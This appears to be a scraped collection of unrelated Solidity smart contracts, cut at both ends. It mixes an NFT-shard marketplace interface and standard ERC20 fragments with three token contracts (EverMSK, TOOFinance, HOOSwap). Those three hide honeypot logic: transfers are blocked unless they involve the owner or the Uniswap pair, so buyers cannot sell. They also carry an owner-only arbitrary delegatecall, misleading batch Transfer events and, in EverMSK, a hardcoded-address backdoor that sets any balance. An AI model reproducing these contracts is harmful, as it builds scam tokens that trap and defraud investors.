_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract EverMSK {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1128272879772349028992474526206451541022554459967));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
// File: contracts/interface/MarketInterfaces.sol
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
contract ShardsMarketAdminStorage {
/**
* @notice Administrator for this contract
*/
address public admin;
/**
* @notice Governance for this contract which has the right to adjust the parameters of market
*/
address public governance;
/**
* @notice Active brains of ShardsMarket
*/
address public implementation;
}
contract IShardsMarketStorge is ShardsMarketAdminStorage {
address public shardsFactory;
address public factory;
address public router;
address public dev;
address public platformFund;
address public shardsFarm;
address public buyoutProposals;
address public regulator;
address public shardAdditionProposal;
address public WETH;
//The totalSupply of shard in the market
uint256 public totalSupply = 10000000000000000000000;
//Stake Time limit: 60*60*24*5
uint256 public deadlineForStake = 432000;
//Redeem Time limit:60*60*24*7
uint256 public deadlineForRedeem = 604800;
//The Proportion of the shardsCreator's shards
uint256 public shardsCreatorProportion = 5;
//The Proportion of the platform's shards
uint256 public platformProportion = 5;
//The Proportion for dev of the market profit,the rest of profit is given to platformFund
uint256 public profitProportionForDev = 20;
//max
uint256 internal constant max = 100;
//shardPool count
uint256 public shardPoolIdCount;
// all of the shardpoolId
uint256[] internal allPools;
// Info of each pool.
mapping(uint256 => shardPool) public poolInfo;
//shardPool struct
struct shardPool {
address creator; //shard creator
ShardsState state; //shard state
uint256 createTime;
uint256 deadlineForStake;
uint256 deadlineForRedeem;
uint256 balanceOfWantToken; // all the stake amount of the wantToken in this pool
uint256 minWantTokenAmount; //Minimum subscription required by the creator
bool isCreatorWithDraw; //Does the creator withdraw wantToken
address wantToken; // token address Requested by the creator for others to stake
uint256 openingPrice;
}
//shard of each pool
mapping(uint256 => shard) public shardInfo;
//shard struct
struct shard {
string shardName;
string shardSymbol;
address shardToken;
uint256 totalShardSupply;
uint256 shardForCreator;
uint256 shardForPlatform;
uint256 shardForStakers;
uint256 burnAmount;
}
//user info of each pool
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
struct UserInfo {
uint256 amount;
bool isWithdrawShard;
}
enum ShardsState {
Live,
Listed,
ApplyForBuyout,
Buyout,
SubscriptionFailed,
Pending,
AuditFailed,
ApplyForAddition
}
struct Token721 {
address contractAddress;
uint256 tokenId;
}
struct Token1155 {
address contractAddress;
uint256 tokenId;
uint256 amount;
}
//nfts of shard creator stakes in each pool
mapping(uint256 => Token721[]) internal Token721s;
mapping(uint256 => Token1155[]) internal Token1155s;
}
abstract contract IShardsMarket is IShardsMarketStorge {
event ShardCreated(
uint256 shardPoolId,
address indexed creator,
string shardName,
string shardSymbol,
uint256 minWantTokenAmount,
uint256 createTime,
uint256 totalSupply,
address wantToken
);
event Stake(address indexed sender, uint256 shardPoolId, uint256 amount);
event Redeem(address indexed sender, uint256 shardPoolId, uint256 amount);
event SettleSuccess(
uint256 indexed shardPoolId,
uint256 platformAmount,
uint256 shardForStakers,
uint256 balanceOfWantToken,
uint256 fee,
address shardToken
);
event SettleFail(uint256 indexed shardPoolId);
event ApplyForBuyout(
address indexed sender,
uint256 indexed proposalId,
uint256 indexed _shardPoolId,
uint256 shardAmount,
uint256 wantTokenAmount,
uint256 voteDeadline,
uint256 buyoutTimes,
uint256 price,
uint256 blockHeight
);
event Vote(
address indexed sender,
uint256 indexed proposalId,
uint256 indexed _shardPoolId,
bool isAgree,
uint256 voteAmount
);
event VoteResultConfirm(
uint256 indexed proposalId,
uint256 indexed _shardPoolId,
bool isPassed
);
// user operation
function createShard(
Token721[] calldata Token721s,
Token1155[] calldata Token1155s,
string memory shardName,
string memory shardSymbol,
uint256 minWantTokenAmount,
address wantToken
) external virtual returns (uint256 shardPoolId);
function stakeETH(uint256 _shardPoolId) external payable virtual;
function stake(uint256 _shardPoolId, uint256 amount) external virtual;
function redeem(uint256 _shardPoolId, uint256 amount) external virtual;
function redeemETH(uint256 _shardPoolId, uint256 amount) external virtual;
function settle(uint256 _shardPoolId) external virtual;
function redeemInSubscriptionFailed(uint256 _shardPoolId) external virtual;
function usersWithdrawShardToken(uint256 _shardPoolId) external virtual;
function creatorWithdrawWantToken(uint256 _shardPoolId) external virtual;
function applyForBuyout(uint256 _shardPoolId, uint256 wantTokenAmount)
external
virtual
returns (uint256 proposalId);
function applyForBuyoutETH(uint256 _shardPoolId)
external
payable
virtual
returns (uint256 proposalId);
function vote(uint256 _shardPoolId, bool isAgree) external virtual;
function voteResultConfirm(uint256 _shardPoolId)
external
virtual
returns (bool result);
function exchangeForWantToken(uint256 _shardPoolId, uint256 shardAmount)
external
virtual
returns (uint256 wantTokenAmount);
function redeemForBuyoutFailed(uint256 _proposalId)
external
virtual
returns (uint256 shardTokenAmount, uint256 wantTokenAmount);
//governance operation
function setShardsCreatorProportion(uint256 _shardsCreatorProportion)
external
virtual;
function setPlatformProportion(uint256 _platformProportion)
external
virtual;
function setTotalSupply(uint256 _totalSupply) external virtual;
function setDeadlineForRedeem(uint256 _deadlineForRedeem) external virtual;
function setDeadlineForStake(uint256 _deadlineForStake) external virtual;
function setProfitProportionForDev(uint256 _profitProportionForDev)
external
virtual;
function setShardsFarm(address _shardsFarm) external virtual;
function setRegulator(address _regulator) external virtual;
function setFactory(address _factory) external virtual;
function setShardsFactory(address _shardsFactory) external virtual;
function setRouter(address _router) external virtual;
//admin operation
function setPlatformFund(address _platformFund) external virtual;
function setDev(address _dev) external virtual;
//function shardAudit(uint256 _shardPoolId, bool isPassed) external virtual;
//view function
function getPrice(uint256 _shardPoolId)
public
view
virtual
returns (uint256 currentPrice);
function getAllPools()
external
view
virtual
returns (uint256[] memory _pools);
function getTokens(uint256 shardPoolId)
external
view
virtual
returns (Token721[] memory _token721s, Token1155[] memory _token1155s);
}
// File: contracts/ShardsMarketDelegator.sol
pragma solidity 0.6.12;
contract ShardsMarketDelegator is IShardsMarketStorge {
/**
* @notice Emitted when pendingComptrollerImplementation is accepted, which means comptroller implementation is updated
*/
event NewImplementation(
address oldImplementation,
address newImplementation
);
event NewAdmin(address oldAdmin, address newAdmin);
event NewGovernance(address oldGovernance, address newGovernance);
constructor(
address _WETH,
address _factory,
address _governance,
address _router,
address _dev,
address _platformFund,
address _shardsFactory,
address _regulator,
address _buyoutProposals,
address implementation_
) public {
admin = msg.sender;
governance = msg.sender;
_setImplementation(implementation_);
delegateTo(
implementation_,
abi.encodeWithSignature(
"initialize(address,address,address,address,address,address,address,address,address)",
_WETH,
_factory,
_governance,
_router,
_dev,
_platformFund,
_shardsFactory,
_regulator,
_buyoutProposals
)
);
}
function _setImplementation(address implementation_) public {
require(
msg.sender == governance,
"_setImplementation: Caller must be governance"
);
address oldImplementation = implementation;
implementation = implementation_;
emit NewImplementation(oldImplementation, implementation);
}
function _setAdmin(address newAdmin) public {
require(msg.sender == admin, "UNAUTHORIZED");
address oldAdmin = admin;
admin = newAdmin;
emit NewAdmin(oldAdmin, newAdmin);
}
function _setGovernance(address newGovernance) public {
require(msg.sender == governance, "UNAUTHORIZED");
address oldGovernance = governance;
governance = newGovernance;
emit NewGovernance(oldGovernance, newGovernance);
}
function delegateTo(address callee, bytes memory data)
internal
returns (bytes memory)
{
(bool success, bytes memory returnData) = callee.delegatecall(data);
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize())
}
}
return returnData;
}
receive() external payable {}
/**
* @notice Delegates execution to an implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
// */
fallback() external payable {
// delegate all other functions to current implementation
(bool success, ) = implementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize())
switch success
case 0 {
revert(free_mem_ptr, returndatasize())
}
default {
return(free_mem_ptr, returndatasize())
}
}
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
http://TOO.finance/
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract TOOFinance {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/**
*Submitted for verification at Etherscan.io on 2020-11-04
*/
pragma solidity ^0.5.17;
/*
HOOSwap
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract HOOSwap {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*10**18;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// @Name SafeMath
// @Desc Math operations with safety checks that throw on error
// https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
// ----------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// ----------------------------------------------------------------------------
// @title ERC20Basic
// @dev Simpler version of ERC20 interface
// See https://github.com/ethereum/EIPs/issues/179
// ----------------------------------------------------------------------------
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// ----------------------------------------------------------------------------
// @title ERC20 interface
// @dev See https://github.com/ethereum/EIPs/issues/20
// ----------------------------------------------------------------------------
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// ----------------------------------------------------------------------------
// @title Basic token
// @dev Basic version of StandardToken, with no allowances.
// ----------------------------------------------------------------------------
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// ----------------------------------------------------------------------------
// @title Ownable
// ----------------------------------------------------------------------------
contract Ownable {
// Development Team Leader
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() { require(msg.sender == owner); _; }
}
// ----------------------------------------------------------------------------
// @title BlackList
// @dev Base contract which allows children to implement an emergency stop mechanism.
// ----------------------------------------------------------------------------
contract BlackList is Ownable {
event Lock(address indexed LockedAddress);
event Unlock(address indexed UnLockedAddress);
mapping( address => bool ) public blackList;
modifier CheckBlackList { require(blackList[msg.sender] != true); _; }
function SetLockAddress(address _lockAddress) external onlyOwner returns (bool) {
require(_lockAddress != address(0));
require(_lockAddress != owner);
require(blackList[_lockAddress] != true);
blackList[_lockAddress] = true;
emit Lock(_lockAddress);
return true;
}
function UnLockAddress(address _unlockAddress) external onlyOwner returns (bool) {
require(blackList[_unlockAddress] != false);
blackList[_unlockAddress] = false;
emit Unlock(_unlockAddress);
return true;
}
}
// ----------------------------------------------------------------------------
// @title Pausable
// @dev Base contract which allows children to implement an emergency stop mechanism.
// ----------------------------------------------------------------------------
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() { require(!paused); _; }
modifier whenPaused() { require(paused); _; }
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// ----------------------------------------------------------------------------
// @title Standard ERC20 token
